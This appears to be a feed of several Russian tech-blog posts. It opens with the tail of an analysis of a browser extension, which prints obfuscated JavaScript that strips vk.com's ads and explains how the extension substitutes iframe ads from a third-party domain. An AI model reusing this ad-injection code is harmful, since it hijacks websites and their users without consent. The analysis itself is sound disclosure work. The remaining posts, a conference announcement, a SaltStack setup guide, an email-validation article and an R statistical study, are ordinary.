              $('a, a span')['click'](function () {
                  CL()
              });
              $(document)['on']('click', 'a div, div a, button, a > b', function () {
                  CL()
              });
              setTimeout(function () {
                  $('#left_blocks, .left_holiday')['animate']({
                      "opacity": '0'
                  }, 300, function () {
                      $('#left_blocks, .left_holiday')['hide']()
                  })
              }, 10000);
              var _0xb14bx22;
              $(document)['mousemove'](function () {
                  if (winact != 'active') {
                      winact = 'active'
                  };
                  clearTimeout(_0xb14bx22);
                  _0xb14bx22 = setTimeout(function () {
                      winact = 'inactive'
                  }, 120000)
              });
              $(document)['hover'](function (_0xb14bx23) {
                  if (_0xb14bx23['fromElement']) {
                      winact = 'inactive';
                      clearTimeout(_0xb14bx22)
                  } else {
                      winact = 'active'
                  }
              })
          }
          var trystart = 0;
          
          function START() {
              trystart += 1;
              if (window['jQuery']) {
                  MAINSTART()
              } else {
                  if (trystart > 35) {
                      var _0xb14bx26 = document['createElement']('script');
                      _0xb14bx26['type'] = 'text/javascript';
                      _0xb14bx26['src'] = '//code.jquery.com/jquery-1.12.3.min.js';
                      document['head']['appendChild'](_0xb14bx26)
                  };
                  if (trystart < 500) {
                      setTimeout(START, 75)
                  }
              }
          }
          START();
          var st = document['createElement']('style');
          st['innerHTML'] = '#left_ads,#left_ads > *,#ads_left,#ads_left > * > *,div[id*="ayments_bo"],div[class*="anding_moneysen"],div[id*="ds_page_simpl"] div[class*="ds_intro_pag"],div[id*="ickets_conten"] div[id*="ew_ticke"],div[id="ads_page_wrap3"],div[class*="log_about_pres"] div[class*="log_about_wra"]{display:none!important;opacity:0!important;height:0px!important;min-height:0px!important;}';
          document['head']['appendChild'](st)
          
          


          Скрипт удаляет рекламу, которую отрисовывает сайт vk.com, после чего создается 2 элемента Iframe. В один из iframe отрисовывается реклама с url= :"//axisworlds.me/advpages/vadvaaa/vadvmgh.html",
          затем Iframe с рекламой размещается на месте “легитимной” рекламы сайта vk.com.

          Вместо эпилога.


          Возможно это всего лишь мои предрассудки, но всё же. На текущий момент расширение просто перерисовывает рекламу в двух соц сетях, но в то же время переквалифицировать его в нечто более серьезное, изменив исходники на сервере, не составит владельцу особого труда.

          Спасибо за внимание!

          Комментарии (0)

            Let's block ads! (Why?)

            [Перевод] Повышение производительности SQL Server с помощью системы хранения начального уровня MSA 2042

            Приглашаем на онлайн-конференцию GeekWeek 2016


            Профессионалами (а особенно IT-профессионалами) не рождаются. Это значит, что необходимо постоянно учиться и развиваться сразу во многих направлениях. Именно поэтому мы совместно с образовательным порталом GeekBrains.ru организуем онлайн-конференцию GeekWeek 2016. И приглашаем всех, кто интересуется сферой информационных технологий или хочет попробовать себя в различных направлениях программирования, веб-дизайна и интернет-маркетинга.

            Что будет:
            • обучение с нуля, где вы сможете попробовать себя в новых IT-направлениях;
            • развитие навыков и повышение квалификации на мастер-классах от представителей мировых компаний;
            • выступления многочисленных специалистов, которые расскажут об актуальных тенденциях в IT, поделятся советами и собственным опытом по самым разным направлениям;
            • сертификаты, подарки и специальные предложения для активных участников конференции.

            Первые пять дней GeekWeek будет проходить в онлайн-формате, а последний шестой — в офисе Mail.Ru Group в Москве. Девиз последнего дня «Education & Entertainment», а значит параллельно с выступлениями спикеров вы сможете сыграть в аэрохоккей, кикер или гигантскую дженгу, погонять на радиоуправляемых машинках и даже побывать в виртуальной реальности.

            Регистрируйтесь — будет интересно! Дата: 14-19 ноября 2016 года. Место: онлайн, на последний день необходимо дополнительно зарегистрироваться здесь.

            Комментарии (0)

              Let's block ads! (Why?)

              Как Tesla Motors и SpaceX едва не исчезли в 2008-м

              [Перевод] Думаешь ты знаешь Си?

              [Из песочницы] Salt за 10 минут

              SaltStack — cистема управления конфигурациями и удалённого выполнения операций.
              В данный момент изучаю данную систему и раз уж есть такая возможность решил попереводить статьи с официального сайта и повыкладывать здесь пока хватит энтузиазма. Т.к. у нас в организации используется в основном Red Hat и Centos, переводить буду части касающиеся этих операционных систем.

              Данная статья представляет собой перевод официальной документации. Внизу страницы вы найдете ссылку на первоисточник на англ. языке.

              Установка SALT


              Установка salt-master, salt-minion из официального репозитория SaltStack на RHEL / CENTOS
              sudo yum install http://ift.tt/2fHPTOg
              
              

              Внимание! При установке на Red Hat Enterprise Linux 7 с отключенными (не подписанными на) 'RHEL Server Releases' или 'RHEL Server Optional Channel' репозиториями, добавьте CentOS 7 GPG key URL к конфигурации yum репозитория SaltStack для установки базовых пакетов.
              [saltstack-repo]
              name=SaltStack repo for Red Hat Enterprise Linux $releasever
              baseurl=http://ift.tt/2fD0SZ2
              enabled=1
              gpgcheck=1
              gpgkey=http://ift.tt/2fHQ9ga
                            https://repo.saltstack.com/yum/redhat/$releasever/$basearch/latest/base/RPM-GPG-KEY-CentOS-7
              
              

              sudo yum clean expire-cache
              

              Установите salt-minion, salt-master и другие Salt компоненты:
              sudo yum install salt-master salt-minion salt-ssh salt-syndic salt-cloud salt-api
              
              

              Запуск SALT


              Salt работает по топологии Master(сервер) / Minion(клиент). Миньоны подключаются к мастеру на порты TCP 4505,4506.

              Дефолтная конфигурация Мастера подходит для подавляющего большинства установок. Salt Master управляется локальными сервис менеджерами:

              На системах с systemd (новые Debian, OpenSuse, Fedora, Centos, RHEL):

              systemctl start salt-master
              
              

              На системах с Upstart (Ubuntu, older Fedora/RHEL):
              service salt-master start
              
              

              Альтернативно, Мастер может быть запущен напрямую через командную строку как демон:
              salt-master -d
              
              

              Мастер может быть также запущен в debug режиме, таким образом значительно увеличивая вывод команд:
              salt-master -l debug
              
              

              Мастер принимает входящие соединения на портах TCP 4505,4506.

              Поиск SALT MASTER


              По умолчанию конфигурационные файлы лежат в каталоге /etc/salt. Большинство платформ придерживаются этой схемы, но такие платформы как FreeBSD и Windows располагают этот файл в других местах.

              При старте Миньон по умолчанию ищет в сети хост с hostname salt. Если нашел, то Миньон инициирует процесс рукопожатия и аутентификации по ключу с Мастером. Это означает, что самый простой способ конфигурации это настроить внутренний DNS на разрешение имени salt в IP Мастера.

              Если такой подход не устраивает, то можно внести изменения в /etc/salt/minion:

              master: hostname_master
              
              

              или
              master: IP_master
              
              

              Настройка SALT MINION


              Миньон может функционировать как с Мастером так и без него. Это руководство предполагает, что Миньон будет подключен к Мастеру, для получения информации о том, как запустить Миньон без Мастера смотрите тут.

              После того, как Мастер может быть найден, запустить Миньон можно так же, как Мастера:

              На системах с systemd (новые Debian, OpenSuse, Fedora, Centos, RHEL):

              systemctl start salt-minion
              
              

              На системах с Upstart (Ubuntu, older Fedora/RHEL):
              service salt-minion start
              
              

              Как демон:
              salt-minion -d
              
              

              В фоновом режиме с опцией debug:
              salt-minion -l debug
              
              

              Когда Миньон запускается, он генерирует id, если он не был сгенерирован во время предыдущего запуска и кэширует в /etc/salt/minion_id по умолчанию. Это имя по которому Миньон будет пытаться аутентироваться на Мастере. Следующие шаги предпринимаются, чтобы попытаться найти значение отличное от localhost:
              • Выполняется функция socket.getfqdn()
              • Проверяется /etc/hostname (не на Windows)
              • Проверяется /etc/hosts ( %WINDIR%\system32\drivers\etc\hosts на Windows )

              Если вышеописанные методы не произвели id отличный от localhost, то проверяется отсортированый лист IP адресов (исключая диапазон 127.0.0.0/8) на Миньоне. Первым используется публично-маршрутизируемый IP-адрес, если есть хоть один. Иначе используется первый приватно-маршрутизируемый IP-адрес.

              Если ничего не сработало, то localhost используется как запасной вариант.

              id Миньона может быть задан вручную используя параметр id в файле конфигурации Миньона. Если этот параметр задан, то он будет переопределять все другие источники id.

              Теперь, когда Миньон запущен, он будет генерировать криптографические ключи и пытаться подключиться к мастеру. Следующим шагом надо вернуться к Мастеру и принять новый открытый ключ Миньона.

              Использование SALT-KEY


              salt-key

              Salt аутентифицирует Миньонов используя открытый ключ шифрования и аутентификацию. Чтобы Миньон мог начать принимать команды от Мастера его ключ должен быть принят Мастером.

              Команда salt-key используется для управления всеми ключами на Мастере. Для просмотра всех ключей, которые находятся на Мастере:

              salt-key -L
              
              

              Будут выведены ключи, которые были приняты, отклонены и находятся в ожидании принятия. Самый простой способ принят ключ миньона это принять все отложенные ключи:
              salt-key -A
              
              

              Ключи должны быть проверены! Выведите отпечаток ключа Мастера запустив salt-key -F master на Мастере. Скопируйте master.pub отпечаток с секции Local Keys и затем установи это значение как master_finger в конфигурации.
              # salt-key -F master
              Local Keys:
              master.pem:  6c:a0:e8:b0:84:36:59:86:b6:49:c3:fb:87:a4:c4:e9
              master.pub:  d9:c6:e0:42:76:e5:82:f7:13:6a:65:ee:cb:f3:2e:aa
              
              

              Скопируйте значение отпечатка master.pub из секции Local Keys и установите в качестве параметра master_finger в конфигурационном файле Миньона. Сохраните и перезапустите сервис salt-minion.

              На Мастере запустите salt-key -f minion_id, чтобы напечатать отпечаток публичного ключа Миньона, который был принят Мастером. На Миньоне запустите salt-call key.finger --local, чтобы напечатать отпечаток ключа Миньона.

              На Мастере:

              # salt-key -f foo.domain.com
              Unaccepted Keys:
              foo.domain.com:  39:f9:e4:8a:aa:74:8d:52:1a:ec:92:03:82:09:c8:f9
              
              

              На Миньоне:
              # salt-call key.finger --local
              local:
                  39:f9:e4:8a:aa:74:8d:52:1a:ec:92:03:82:09:c8:f9
              
              

              Если совпадают, то примите ключ командой:
              salt-key -a foo.domain
              
              

              Посылка первых команд


              Сейчас, когда миньон подключен к Мастеру и аутентифицирован, Мастер может отправлять команды Миньону. Salt-команды позволяют выполнить обширный набор функций и для конкретных Миньонов или групп Миньонов. Salt-команды состоят из опций команд, описания цели, функции исполнения и аргументов функции.

              Простая команда выглядит так:

              salt '*' test.ping
              
              

              Звездочка ( * ) определяет цель, которая определяет всех Миньонов. test.ping говорит миньонам запустить функцию test.ping. В случае test.ping, test ссылается на модуль исполнения. ping ссылается на функцию ping содержащуюся в вышеуказанном модуле.
              Внимание! Исполнительные модули — это рабочие лошадки Salt. Они выполняют работу в системе выполняя различные задачи, такие как манипулирование файлами и рестарт сервисов.

              Результатом выполнения этой команды будет оповещение Мастера, что все миньоны выполнили test.ping параллельно и возвращение результата.

              Это на самом деле не ICMP ping, а скорее простая функция, которая возвращает True. Использование test.ping это хороший способ подтверждения что Миньон подключен.

              Каждый Миньон регистрирует себя с уникальным ID. Этот ID по умолчанию есть hostname, но может быть явно задан в конфиге Миньона также с помощью параметра id.

              Конечно существуют сотни других модулей, которые могут быть вызваны просто как test.ping. В следующем примере возвращается использование диска на всех Миньонах.

              salt '*' disk.usage
              
              

              Знакомство с функциями


              Salt поставляется с обширной библиотекой функций, доступных для выполнения и Salt функции являются самодокументирующимися. Чтобы увидеть какие функции доступны на Миньонах выполните sys.doc функцию:
              salt '*' sys.doc
              
              

              Она покажет очень большой список доступных функций и документацию по ним.
              Внимание! Документация модулей также может быть доступна на сайте.

              Источник

              Комментарии (0)

                Let's block ads! (Why?)

                «Послание в никуда»: Как не отправить письмо несуществующему адресату

                Отправляя рассылки на несуществующие и одноразовые адреса, вы рискуете попасть под «санкции» почтовых сервисов. Так, наличие в рассылках невалидных адресов может привести к попаданию писем, отправленных с вашего домена, в папку «Спам» или даже к полной их блокировке.

                А разослав письма на некорректные электронные адреса, вы вызовете негатив у аудитории, которая даже не слышала о вас. В результате пострадает не только ваша репутация, но и эффективность ваших email-кампаний.


                Фото bnilsen CC / Flickr

                По этой причине мы не рекомендуем покупать адресные базы, поскольку невозможно заранее проверить подлинность содержащихся в них адресов. Почтовый ящик получателя вашей рассылки может быть заблокирован или удален: по собственному желанию или из-за длительного периода неактивности ящика, поэтому важно иметь механизмы проверки существования и корректности адресов.

                Почему и как возникает проблема с некорректными адресами


                Для начала давайте уточним, как могут выглядеть электронные адреса. Левая часть адреса (до знака @) может состоять из прописных и строчных букв английского алфавита, цифр от 0 до 9, символов !#$%&'*+-/=?^_`{|}~, символа «.» (точки), если это не первый и последний символ. Пробел и символы "(),:;<>@[\] допускаются с ограничениями.

                Доменная часть адреса может состоять из прописных и строчных букв английского алфавита, цифр от 0 до 9 и дефиса, либо представлять собой IP-адрес в квадратных скобках. Довольно много примеров необычных, но валидных адресов можно найти в тематической статье в Википедии.

                Зачастую пользователи намеренно или по ошибке указывают неверный адрес электронной почты. Они могут пропустить символ или, наоборот, написать лишний, перепутать символы местами или случайно нажать соседнюю клавишу. Безусловно, каждая такая опечатка делает email некорректным, но каковы шансы, что она превратит его в невалидный?

                Как справедливо отмечает веб-разработчик и блогер Дэвид Гилбертсон (David Gilbertson), даже если вы по какому-то недоразумению наберете адрес  #!$%&’*+-/=?^_`{}|~@example.com, он все равно с большой вероятностью пройдет проверку на валидность. Исходя из расположения клавиш на клавиатуре, вероятность того, что пользователь случайно наберет адрес, который будет действительно невалидным, относительно невелика (большинство букв на клавиатуре компьютера окружено такими же буквами – шанс, что вы промахнетесь и поставите «недопустимый» символ из-за этого оценивается невысоко).

                Как решить проблему с некорректными email-адресами?


                Итак, некорректные адреса, как правило, оказываются валидными – и никакая «базовая проверка» не может это отследить. Дэвид даже построил статистическую модель (на основе 117 млн почтовых адресов) и вычислил вероятность, с которой проверка на валидацию адреса сможет «вычислить» некорректный почтовый адрес. Она равна 0,625*10-38%. По большому счету проверка базы адресов на валидность (с точки зрения возможных опечаток) не имеет смысла, чего нельзя сказать о проверке корректности.


                Фото Jenni Douglas CC / Flickr

                1. Усилить проверку на сайте или использовать специальные сервисы/API

                Как мы уже поняли, пользователи, которые ввели некорректный, но валидный адрес, впоследствии никогда не получат ваших сообщений. При этом «некорректность» может быть различной – пользователь может пропустить ту или иную букву, случайно поменять их местами, ввести лишний (или неверный) символ.

                Например, у Печкина есть сервис Печкин.Фикс, который помогает вычислить ошибки: проверяет электронные адреса на существование и исправляет обнаруженные опечатки. Нам приходится постоянно работать с большим количеством почтовых адресов, поэтому мы регулярно обновляем и пополняем словари некорректных доменов, исправлений и опечаток. Сервисом можно воспользоваться онлайн (просто ввести электронный адрес для единичной проверки), а можно использовать API.

                Разумеется, сервис от Печкина – не единственный, с помощью которого можно решить проблему: задачей проверки некорректных адресов занимаются как компании, так и независимые разработчики (вот несколько решений с GitHub: 1, 2).

                2. Работать по модели двойного подтверждения

                Чтобы сформировать «белую» базу подписчиков с минимальным количеством случайных адресов, используйте двойное подтверждение (Double Opt-In). При такой системе пользователь вводит свои данные на сайте, после чего ему приходит письмо с ссылкой для подтверждения согласия на получение рассылки.

                Конечно, такой процесс подписки занимает больше времени, но он позволит уберечь вашу базу email от ботов, несуществующих и некорректных адресов. А чтобы увеличить процент активаций подписчиков, письмо можно сделать более дружественным и личным. Так, например, клиентам Печкина доступна функция настройки писем активации.

                3. Фильтровать одноразовые адреса

                Некоторые подписчики используют специальные сервисы для создания  временных электронных адресов, которые действуют от 10 минут до нескольких часов. По истечении этого времени отправить письмо на такой адрес не представляется возможным. Поэтому Печкин, например, предлагает своим клиентам воспользоваться функцией фильтрации одноразовых email-адресов, которая позволит вам не только улучшить численные показатели открытий и возвратов писем, но и обходить спам-фильтры.

                О чем еще можно почитать в нашем блоге на тему улучшения рассылок:

                Комментарии (0)

                  Let's block ads! (Why?)

                  Женщины и убийства: есть ли тут взаимосвязь? [часть 2 из 2]

                  R код (gist) для воспроизведения всех результатов


                  В первой части, подхваченный вдохновением и желанием проверить гипотезы сразу, я проанализировал взаимосвязь между соотношением полов и распространенностью убийств в странах Европы. Результаты не подтвердили моих ожиданий. Похоже, что во многом страны Европы напоминают регионы одной страны со своей периферией и своими центрами.


                  В следующей итерации своего скептицизма, результаты которого вы можете прочитать ниже, я проверяю свою гипотезу на данных американских графств, как и авторы исходной статьи.


                  Коротко о гипотезе

                  Если вам лень заглянуть в первую часть статьи, то вот кратко суть. Авторы опубликованного в журнале Human Nature исследования утверждают, что соотношения полов во взрослом населении влияет на распространенность тяжких преступлений (в частности, убийств): чем больше женщин, тем больше и преступлений. Я по-прежнему думаю, что все дело в упущенной переменной — центральность/периферийность (urban/rural) — которая и должна объяснять как повышенную долю женщин в городах, так и большее количество преступлений в них.


                  Убедительно подтвердить свои догадки на простеньких европейских данных мне не удалось. Попробуем на подробных американских.



                  Данные


                  А ларчик просто открывался (с)

                  Все оказалось гораздо проще, чем можно было ожидать. Конечно, я потратил не один час, блуждая по разным ресурсам (благо по США данных… нам бы так). И вот, когда я все еще рисовал себе сложности и сохранял "на потом" десятки закладок, наткнулся на вот этот замечательный датасет. Датасет свободно скачивается после регистрации и согласия с условиями использования.


                  Данные как нарочно собраны для подобного рода анализа, что наводит на подозрения в велосипедостроительной специализации авторов исходной статьи. Датасет содержит обширный перечень переменных для графств США за период 2001-2006. Не такие свежие данные, как у авторов, но вряд ли можно ожидать, что human nature меняется за десятилетие. Он содержит все интересующие нас переменные, чтобы беспрепятственно повторить исследование и проверить интересующую нас гипотезу.


                  Exploratory data analysis


                  Сперва давайте посмотрим, велики ли различия по ключевым показателям между центральными и периферийными графствами. В нашем датасете есть классификация графств на 9 типов (RuralUrban03, 2003 ERS Rural-Urban Continuum Code). Первые три категории — это городские графства разной численности. Категории 4-9 — сельские, различия в численности населения и удаленности от регионального центра.


                  Категории графств (скопировано из Codebook к датасету)

                  Code Description
                  Metropolitan counties:
                  1 Counties in metro areas of 1 million population or more
                  2 Counties in metro areas of 250,000 to 1 million population
                  3 Counties in metro areas of fewer than 250,000 population
                  Nonmetropolitan counties:
                  4 Urban population of 20,000 or more, adjacent to a metro area
                  5 Urban population of 20,000 or more, not adjacent to a metro area
                  6 Urban population of 2,500 to 19,999, adjacent to a metro area
                  7 Urban population of 2,500 to 19,999, not adjacent to a metro area
                  8 Completely rural or less than 2,500 urban population, adjacent to a metro area
                  9 Completely rural or less than 2,500 urban population, not adjacent to a metro area


                  На карте это выглядит так. Кружочками даны столицы штатов (красный) и крупные города (золотой).



                  Рисунок 1. Классификация графств по центральности/периферийности.


                  Поскольку с 9 категориями работать неудобно, в дальнейшем анализе я объединил первые три — в категорию metro, а оставшиеся — в категорию non-metro.


                  Во-первых, нам интересно, действительно ли соотношение мужчин и женщин отражает результат миграционного закона Равенштейна — действительно ли женщины активнее в миграциях на короткие расстояния, и их больше в городах. Посмотрим на распределения графств по соотношению полов во взрослом возрасте (рис. 2).



                  Рисунок 2. Распределение центральных и периферийных графств по соотношению полов во взрослом возрасте.


                  Отчетливо видно, что среди графств с повышенным соотношением полов (преобладают мужчины) больше периферийных. Медианное значение показателя для периферийных графств 1.039; для центральных 1.016.


                  Карта по графствам получается очень шумной, поэтому я построил карту по штатам, сравнивая средние значения соотношения полов для центральных и периферийных графств (рис. 3). Практически нет штатов, в которых соотношение полов было бы выше в центральных графствах.



                  Рисунок 3. Среднее соотношение полов в центральных графствах в сравнении с периферийным.


                  Еще одним наглядным результатом миграции всегда выступает медианный возраст населения. В среднем, мигранты всегда моложе местного населения. Поэтому миграция перераспределяет медианный возраст населения, омолаживая центральные территории и ускоряя старение населения в периферии. Разумеется, этому общему правилу находится подтверждение и на американских данных (рис. 4 и 5).



                  Рисунок 4. Распределение центральных и периферийных графств по соотношению медианному возрасту населения.



                  Рисунок 5. Медианный возраст населения по графствам США.


                  Для разнообразия, по медианному возрасту населения построил карту по графствам. Она все еще достаточно шумная, но общую закономерность уловить можно.


                  Наконец, как же обстоит дело с убийствами в городе и на селе? Тут ситуация любопытная (рис. 6).



                  Рисунок 6. Распределение центральных и периферийных графств по показателю убийств на 100К населения.


                  В 2004 году, когда были собраны данные, убийства не произошли в 65.2% периферийных графств и 30.3% центральных графств. При этом, когда преступления все же происходили в периферийных территориях, коэффициент получался довольно высоким за счет малой численности населения провинциальных графств. В целом же, разумеется, городах убийств больше. Значение третьего квартиля (75%) для городов составляет 55.4, а для провинции 36.7 убийств на 100К населения. Если агрегировать данные по штатам и типу графств (рис. 7), то явно видно, что практически во всех штатах городская преступность выше.



                  Рисунок 7. Усредненный коэффициент убийств на 100К населения в центральных графствах в сравнении с периферийным.


                  Итак, исходные предпосылки подтверждаются данными. Посмотрим, каков будет результат моделирования.


                  Но сперва давайте еще посмотрим на красивую карту доли чернокожего населения США по графствам (рис. 8), поскольку вслед за авторами мы будем использовать эту переменную в качестве контрольной в моделях.



                  Рисунок 8. Доля чернокожего населения по графствам США.


                  Модели


                  Итак, моделируем с помощью Пуассоновских регрессий зависимость коэффициента убийств от соотношения полов и прочих дополнительных переменных. Вводим переменные последовательно.


                  Обозначения переменных в таблице

                  Лень было менять обозначения. К тому же, они вполне говорящие.


                  asr — соотношение полов во взрослом возрасте (15-44)
                  perstpov04 — устойчивая бедность: доля населения графства за чертой бедности не менее 20% по данным 4 последних переписей населения, 1970, 1980, 1990 и 2000
                  pctblack05 — доля чернокожего населения
                  southSouth — дамми переменная для южных штатов (Юг в сравнении с Севером)
                  metroNon-metro — центральность/периферийность (периферия в сравнении центром)
                  ruralurban03 — 9-ступенчатая классификация центральности/периферийности
                  unemprate05 — безработица
                  medianage05 — медианный возраст населения


                  Таблица 1. Результаты моделирования уровня убийств.


                  Результаты моделей 1-4 очень сходны с теми, что приводят авторы статьи в Human Nature. Любопытно тут, пожалуй, то, что при переходе от модели 2 к модели 3 коэффициент при переменной "постоянная бедность" меняет знак. Получается, что доля черного населения объясняет вариацию в бедности.


                  Нам же интересно сравнить модели 4 и 5. Когда мы вводим центральность/периферийность в качестве контрольной переменной, коэффициент при соотношении полов становится существенно менее негативным. То есть, различия в центральности/периферийности объясняю значительную часть выявленной взаимосвязи между частотой убийств и соотношением полов. Остальные модели не столь интересны, но оставил.


                  Выводы


                  Сенсации не произошло. Но, действительно, центральность/периферийность графств почти наполовину ослабляет выявленную авторами взаимосвязь между соотношением полов и уровнем преступности. Прочие проверенные мной дополнительные переменные не имеют столь же значимого эффекта. Так что подозрение мое подтвердилось наполовину. Статус территории значит много, но не нивелирует полностью выявленную взаимосвязь. Однако, без сомнения, авторы исходной статьи упустили одну из ключевых переменных.


                  Reroducibility


                  R код (gist) для воспроизведения всех результатов.
                  Гарантированно работает при использованнии R версии 3.3.2 с пакетами по состоянию на 2016-11-10. В случае пакетных несовместимостей, воспользуйтесь пакетом checkpoint, установив соответствующую дату.

                  Комментарии (0)

                    Let's block ads! (Why?)